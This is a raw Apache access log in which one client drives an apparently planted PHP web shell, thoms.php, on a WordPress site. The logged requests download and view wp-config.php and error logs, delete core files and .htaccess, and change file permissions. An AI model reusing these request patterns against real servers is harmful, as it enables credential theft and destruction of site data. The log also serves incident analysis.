45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /besth2o.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Flicense.txt&p=besth2o.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Flicense.txt&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?chmod=readme.html&p=besth2o.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "https://163.245.207.76/besth2o.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?dl=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:42 -0400] "GET /thoms.php?dl=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?chmod=upgrade&p=besth2o.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?chmod=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/wrapper-global/ HTTP/1.1" 200 6344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-login.php&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-login.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?p=besth2o.com.tw&view=xmlrpc.php HTTP/1.1" 200 13366 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-blog-header.php&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-blog-header.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13304 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?p=besth2o.com.tw&view=license.txt HTTP/1.1" 200 20085 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?del=locoy.php&p=besth2o.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fthoms.php&p=besth2o.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fthoms.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/segment-sample/ HTTP/1.1" 200 6416 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /besth2o.com.tw/wp-login.php HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:43 -0400] "GET /thoms.php?dl=wp-settings.php&p=besth2o.com.tw HTTP/1.1" 200 17358 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?del=.htaccess&p=besth2o.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?del=upgrade&p=besth2o.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=upgrade&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 12583 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-comments-post.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?dl=mah.php&p=besth2o.com.tw HTTP/1.1" 200 17383 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?chmod=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?del=wp-load.php&p=besth2o.com.tw HTTP/1.1" 200 17383 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-signup.php HTTP/1.1" 200 22511 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?chmod=cgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 13446 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /besth2o.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?dl=error_log&p=besth2o.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?dl=error_log&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 17384 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?chmod=wp-config.php&p=besth2o.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:44 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-login.php HTTP/1.1" 200 29029 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /besth2o.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?chmod=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 13608 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?chmod=index.php&p=besth2o.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?dl=wp-cron.php&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?dl=wp-login.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-mail.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?del=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?chmod=segment-sample&p=besth2o.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=segment-sample&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?del=license.txt&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=license.txt&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?del=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?del=wp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:45 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-links-opml.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?dl=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fxmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fxmlrpc.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 12049 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?chmod=wp-content&p=besth2o.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?del=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-config-sample.php&p=besth2o.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-config-sample.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13092 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=besth2o.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-load.php HTTP/1.1" 200 13663 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?chmod=wp-mail.php&p=besth2o.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /besth2o.com.tw/wp-includes/ HTTP/1.1" 200 9219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /besth2o.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?dl=wp-trackback.php&p=besth2o.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fsegment-sample&p= HTTP/1.1" 200 11812 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fsegment-sample&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?dl=readme.html&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?dl=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:46 -0400] "GET /besth2o.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?p=besth2o.com.tw&view=error_log HTTP/1.1" 200 14779 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?chmod=wp-signup.php&p=besth2o.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?dl=index.php&p=besth2o.com.tw HTTP/1.1" 200 17378 "http://163.245.207.76:443/thoms.php?dl=index.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?del=xmlrpc.php&p=besth2o.com.tw HTTP/1.1" 200 17323 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?p=besth2o.com.tw&view=.htaccess HTTP/1.1" 200 12733 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /besth2o.com.tw/.well-known/ HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?del=wp-includes&p=besth2o.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?chmod=wrapper-global&p=besth2o.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=wrapper-global&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-config.php HTTP/1.1" 200 13719 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?p=besth2o.com.tw&view=wp-mail.php HTTP/1.1" 200 15347 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:47 -0400] "GET /thoms.php?copy=besth2o.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11818 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
